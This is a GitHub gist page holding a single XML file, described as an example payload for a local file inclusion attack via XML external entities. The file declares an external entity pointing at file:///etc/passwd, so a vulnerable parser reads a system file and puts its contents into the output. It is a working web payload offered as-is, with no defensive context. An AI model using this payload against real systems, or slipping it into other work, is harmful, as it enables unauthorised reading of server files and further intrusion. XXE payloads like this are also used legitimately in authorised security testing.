Skip to content

Instantly share code, notes, and snippets.

@N1gh7m4r3-N1dh

N1gh7m4r3-N1dh/lfi.xml

Created May 17, 2018 16:28
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save N1gh7m4r3-N1dh/a25dd8a9f6b7648561dfed50bb3b0620 to your computer and use it in GitHub Desktop.
Save N1gh7m4r3-N1dh/a25dd8a9f6b7648561dfed50bb3b0620 to your computer and use it in GitHub Desktop.
Download ZIP
example payload for local file inclusion via xml external entity attack
Raw
lfi.xml
<!DOCTYPE lfi [
<!ELEMENT lfi ANY>
<!ENTITY boo SYSTEM
"file:///etc/passwd">
]>
<lfi>
&boo;
</lfi>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment